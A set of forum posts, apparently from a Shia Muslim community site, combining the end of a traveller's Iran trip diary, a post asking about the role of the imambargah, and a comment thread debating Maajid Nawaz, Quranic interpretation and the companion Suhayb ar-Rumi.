    I could see on the monitors that there were several flights from the time now until my new flight time although all of them were on a different airline than mine. I called NAJ to ask if my ticket could be changed and he said it would not be possible. So I saw the flight I wanted about 1.5 hours later and went to their sales office. First, they couldnt understand why I wanted another ticket when I already had one. My farsi and their english were too awful to understand each other but nevertheless they allowed me to buy 2 tickets. 

    Next problem - I did not have any Iranian Rials on me and the INTERNATIONAL AIRPORT did not have a Money Exchange! So I had to call Ali back to see if he had any rials that he could give me in exchange for dollars. By this time, he was about 20 minutes away so we had to wait for him to come back. In the meanwhile, the Sales Agent agreed to take my dollars at a fairly decent exchange rate. Basically, I bought 2 one-way tickets from Mashad to Tehran for about $100. Just as we finalized the transaction, Ali came back and I had to explain the whole thing to him as well. He, too, was confused as to why I would buy another ticket when I already had one. 

    Anyway, we finally put all that behind us, checked-in and were on our way to Tehran.

    After an uneventful journey to Tehran, we drove all the way to Qum to sepnt about 3-4 hours in Qum at NAJ's house. We freshened up, ate a really nice meal and got ready to leave.

    Day 10 (Fri):

    We left Naj's house around 1am and reached IKA by 215am. Since this was the last or day after Nawruz holidays, the airport was jam packed. It took an hour to check-in, the security lines were considerably shorter so in another 15 minutes, we were at our gate. Boarding started just around fajr, so we prayed quickly and boarded our Qatar Airways flight to Doha.

    I was a bit nervous about returning to the US from Iran but had no problems whatsoever.

    A very placid end to a very hectic but thoroughly enjoyable trip.

    Summary:

    Iranians are a very joyous and happy people. There was no patch of grass where we didn't see a family setting up a picnic be it as a roadside or a courtyard of a shrine. I really wish relations between Iran and the West improves so the people can really experience the rich, colorful and impressive history, geography and culture Iran has to offer.

    Our entire 10 day trip cost about $1,600/pp. It was money well spent.

     

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    U many be wondering/noticing as to why I insist on the imambargah issue and nothing else. WELL READ ON.....AND U MAY JOIN ME AND AGREE/ACCEPT......

    Throughout my observations of many activities/events/programs/etc that takes place in a community, it mesmerizes/surprises me and I always ponder and saddened me: WHY DOES ALL (BE IT SPORTS/MADRESSA/YOUTH COMMITTEE/ETC) GET THEIR DUE RESPECT AND THERE ISN'T ANY DISTRACTION but come Imambaragh: it's like nothing is happeining/occurring or taking place....

    For example :- 1. Let's start with Madressa : Children come and are instructed by the MADRESSA STAFF to be in the area where the Quran/Duas/Prayers/etc are held. There is a kitchen that needs to be attended to for the lunch/snaks for the children, a yard/ground(s) outside that needs to be maintained; BUT NO ONE CARES BUT WHAT GOES//TAKES PLACE WITHIN THE CLASES/HALL.

    2. The Sports Complex/Gym:- the players are present where the games/activity is taking place and ONCE AGAIN THE KITCHEN IS PRESENT AND NEEDS TO FEED THE PLAYERS/VISITIORS/ATTENDEES/ETC and the yard needs to be maintained BUT NO ONE CARES AND ATTENDS TO IT.

    3. The Youth Committee: Same: RESPECT GIVEN TO THE ACTIVITY/EVEN HELD BY THE YOUTH(S) BUT NO ONE CARES ABOUT THE KITCHEN/YARD.

    4. No here is the most saddest part : IMAMBARGAH : NO ONE CARES ABOUT THE PROGRAMME (SAME THAT OF THE MADRESSA: QURAN/DUAS/PRAYERS THAT THE STAFF/STUDENTS WERE CONCERNED ABOUT AND IN THE RESPECTED PLACES) AND NOW EVERYONE CARES AOBUT THE SAME KITCHEN/GROUNDS/YARD AROUND THE COMPOUND THAT NO ONE CARED DURING THE MADRESSA/SPORTS CENTER/YOUTH COMMITTEE EVENTS.

    So now I ask this question in my subject:- IMAMBARGAH.....????? WHAT/WHICH/WHEN/WHY/HOW/WHO....in re: Imambargah ?

    Should it be a place where just like a 1. Feed my starving children 2. Majide noor feed the homeless kitchen event 3. Salvation army place thus we need not HOLD THE HOLY QURAN/DUAS/NAMAAZ/ISLAMIC TEACHINGS/ETC for it doesn't take place in the 1. Feed my starving children 2. Masjide Noor 3. Salvation army....

    Lets have an open door discussion FOR I COULD BE THE ONE WITH A 1 MINDED BELIEF WEHRE I BELIEVE THAT THE IMAMBARGAH IS THE EXTENSION/COMPLIMENTARY OF THE MADRESSA WHERE THE CHILDREN/STUDENTS ESPECIALLY CAN CONTINUE THE HOLY QURAN/DUAS/NAMAAZ/ISLAMIC TEACHINGS FROM THE MADRESSA INTO THEIR HOMES....

    Thanks in advance.....

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    • I never said or claimed they're doing something good for Islam, just good in general in combating Wahhabi Ideology.  I could care less if another human being sins or draws cartoons of the beloved Prophet SAW.  Because in no way do they nor could they damage what he has done for the world and I'm secure in that. Idols in all forms must be destroyed, including the ones deep in our hearts.
    • Man I think you have got it all wrong as well. You have to be kidding me if you think Majid Nawaz is doing something for Islam as he may appear to battle extremism. Tell me what has majid Nawaz done for Islam apart from all his useless talk? This guy is not a liberal nor a muslim https://newrepublic.com/article/128436/maajid-nawaz-really-believe Plz read this and educate yourself on his real motives. This is a same guy who drew the cartoons of Prophet Muhammad(pbuh). There are much better and devoted muslims who are battling extremism in a much better way. Example is Omar Suleiman (sunni imam in America). Majid Nawaz has an ego and contradicts himself. I can site so many instances but you can research yourself what he actually says.
    • "According to Islam, we are to imitate the sunnah of the 14 infalliables (as). There are good deeds mentioned in the Quran, like giving to orphans, which we do imitate, but others we do interpret, theough tafsir, which you completely reject. However, Muslims don't interpret based on their opinions, but on the opinions of the 14 infalliables (as). Got it? I hope so....... More soon!" Good luck on whether or not you're following something someone made up about them or not, the same I say to the Sunni's and their Sahaba. The way I see it, 14 infallibles (as) and how they behaved is not preserved well at all.  But that's just me.  ""Most Muslims treat the Quran as a document to imitate rather than interpret, suffocating our capacity to think for ourselves." " I can resonate very well with this statement, because it's for this reason we have extremist Wahhabi movements that are violent and power hungry to justify their nafs. At the same time people want to kill each other because of their differing interpretations where no where in the Qu'ran does it say one must die or be oppressed for such - rather it comes from Hadith. I fail to understand criticisms of "Liberal-ness" of the likes of Suhaib Webb, Majid Nawaz, etc.. At least they're not forcing or implicating people are wrong for not following their own ideas/interpretations - they're in no way condemning those who follow otherwise unless it's a path of destruction.  They're not going around saying, "this is the True Islam",  everyone must and should do such and such. They're only fighting the same extremism Shia's, Sunni's and other people of faith's suffer from, and try to find an equilibrium. And the same can be said of religious "training" and creating authorities who hold the keys that can drive extremism as well, because at the end of the day, is reading a bunch of papers and books and sitting and thinking about them going to make you the Ijaza qualified person to give religious authority? -----THERE IS NO RELIGIOUS AUTHORITY----- Islam is undone and doesn't exist as it once did, there's no one unified Caliph for all the Muslims to follow living and communicating to us that well trust - we are divided, broken and all victim's of subjective/relative interpretation that society/modern times has forced us into. What religious training exists today that will promise one Jannah? You ask 30 million people, you get 30 million different answers, including different scholars even from within the same sects! The result is the same if everyone had religious training or not, extremism will persist!   When she says ..." We Muslims have to change ourselves, that's the main difference. We can't keep blaming America or Israel for our misery." " Why isn't this valid?  What makes you think she's wrong that there's nothing to change in ourselves?   Our lack of unification, our constant bickering and intolerance of each other, pan nationalism instead of pan unity is the very fiber that exploits us and tears us apart further!? What gives anyone a right to define rules and subject people to them?   Muslims are stuck in traditions and what they were brought up with, how many will question their own selves/faith/sect and ponder an attitude that will lead to positive change? She is the way she is because of what the Muslims have done to each other, many of her opinions are skewed and down right corrupted/twisted and inaccurate of how she see's Islam, but the Sunni's, and Shia' have no one but themselves to blame for this.  Muslims these days tend to think individually, and not wholesomely - or just extend their attention to their country and not their brethren or recognize the fact their enemies are their brethren while their current brethren are their enemies. The inconsistencies/wrongs prevalent in modern day Shiasm/Sunnism are the same reason you reject all of her words, she in the same fashion rejects much of contemporary Sunnism/Shiasm as you see it.    
    • To Elaborate further, Suhayb spent any and all his wealth to the poor and community, even after the Prophet SAW died, and continued to spend his stipends for the needy and did not partake in corrupt Ummayyad wealth schemes. This reeks of guilt by association, in a false accusation of a legitimate believing Sahaba  of being evil, all because he was cried over Umar's death and lead prayers after his death temporarily.  That's unfortunately not an academic/scholarly line of thought at all, and most importantly  it's not an Islamic line of logic. Suhayb in his character was a Greek-Speaking Arab who was kidnapped from a wealthy family and brought up as a slave in Byzantine society, unlike Salman he had no knowledge of the Bible,, Hebrew and other Aristocratic attributes... instead Suhyab only learned directly from the Prophet's SAW Sermons.  His Arabic was harsh/heavy and himself had a difficult time re-learning it. Contextually, Suhayb was a close companion but never could be in an inner circle of influence that was Umar, Uthman, and the rest of the "higher social ranked" Sahaba.  Instead he chose to act simply and directly in what he perceived was the direct way to please Allah SWT, e.g.(Hadith where he gave food after being questioned by 'Umar why he starved himself, that the Prophet SAW told him the best of people were those who gave food and charity).  He was innocent to a fault, and perhaps ignorant.  Assuming Shia rhetoric of 'Umar and Abu Bakr is true of their plot to Usurp the Khilafah,  Suhayb was ignorantly in no place to understand with his lacking Arabic speech and distance from that social status (since he was a slave and not Quraish), the ramifications that 'Umar could have been an evil man and he was crying over an evil guy. He seemed to be a goof ball as well, and is cited for making the Prophet SAW laugh on many occasions, and would never do it at any one else's expense. Shame on the people who ascribe lies and false sayings to the Imams, AS on them all. I've read deeply into the sources in al Kafi, and Yasser Habibs hate rhetoric and I find not a single ounce of legitimate nor logical premises of which to condemn/accuse Suhayb by direct actions, words, or speech. Nearly all sources, even Shia indicate Suhayb as a righteous companion and follower of the Prophet SAW.
    • Is this reference to Suhayb bin Sinan/ aka Suhayb Ar Rumi RA?  Or a different Suhayb? I'd be surprised, considering Suhayb Ar Rumi/bin Sinan was close companions of Bilal ibn Rabah RA and Salman e Farsi RA.  As non-Arab Sahaba, they frequently spent much of their time together. Also, from tafsir, a Quran verse was reveled upon Suhayb's arrival to Medina after being held back by the Qu'raish... he had to give up all of his wealth that he acquired after arriving as a runaway slave of the Byzantine Empire to escape Mecca to Medina after the Hijrah. "Thereupon, the glorious verse was revealed: ‘And of mankind is he who sell himself, seeking the pleasure of Allah And Allah is full of kindness to (His) slaves’ (Quran 2:201). " In fact, he's also fought in every battle alongside the Prophet SAW, and never ran from any nor left his side. Also, Suhayb lived out the rest of his life till old age, spreading for Da'wah until he died (In response to the OP's post).  These were taken from WikiShia: He and Imam Ali were the last of Immigrants who joined the Prophet (s) in the first half of Rabi' I. Some have related the revelation of verse 207 of the sura al-Baqara to him. However, it is famous that it has been revealed about the role of Imam Ali  at Laylat al-Mabit. Suhayb participated in the battles of Badr, Uhud, Khandaq and other battles of the Prophet (s). About him, the noble Prophet (s) said, "the leaders are four people; I am the leader of Arabs, Suhayb is the leader of Romans, Salman is the leader of Persians and Bilal is the leader of Habesha."
    • Salaam, Here's a bit of other side perspective: Sahih Bukhari Hadith Vol.2, Hadith. 375,
      Narrated by Abdullah bin Ubaidullah bin Abi Mulaika
      One of the daughters of 'Uthman died at Mecca. We went to attend her funeral
      procession. Ibn 'Umar and Ibn Abbas were also present. I sat in between them (or
      said, I sat beside one of them. Then a man came and sat beside me.) 'Abdullah
      bin 'Umar said to 'Amr bin 'Uthman, "Will you not prohibit crying as Allah's
      Apostle has said, 'The dead person is tortured by the crying of his relatives?"
      Ibn Abbas said, "Umar used to say so." Then he added narrating, "I accompanied
      Umar on a journey from Mecca till we reached Al-Baida. There he saw some
      travelers in the shade of a Samura (A kind of forest tree). He said (to me), 'Go
      and see who those travelers are.' So I went and saw that one of them was Suhaib.
      I told this to 'Umar who then asked me to call him. So I went back to Suhaib and
      said to him, 'Depart and follow the chief of the faithful believers.' Later,
      when 'Umar was stabbed, Suhaib came in weeping and saying, 'O my brother, O my
      friend!' (on this 'Umar said to him, 'O Suhaib! Are you weeping for me while the
      Prophet said, "The dead person is punished by some of the weeping of his
      relatives?" ' Ibn Abbas added, "When 'Umar died I told all this to 'Aisha and
      she said, 'May Allah be merciful to Umar. By Allah, Allah's Apostle did not say
      that a believer is punished by the weeping of his relatives. But he said, Allah
      increases the punishment of a non-believer because of the weeping of his
      relatives." 'Aisha further added, "The Quran is sufficient for you (to clear up
      this point) as Allah has stated: 'No burdened soul will bear another's burden.'
      " (35.18). Ibn Abbas then said, "Only Allah makes one laugh or cry." Ibn Umar
      did not say anything after that.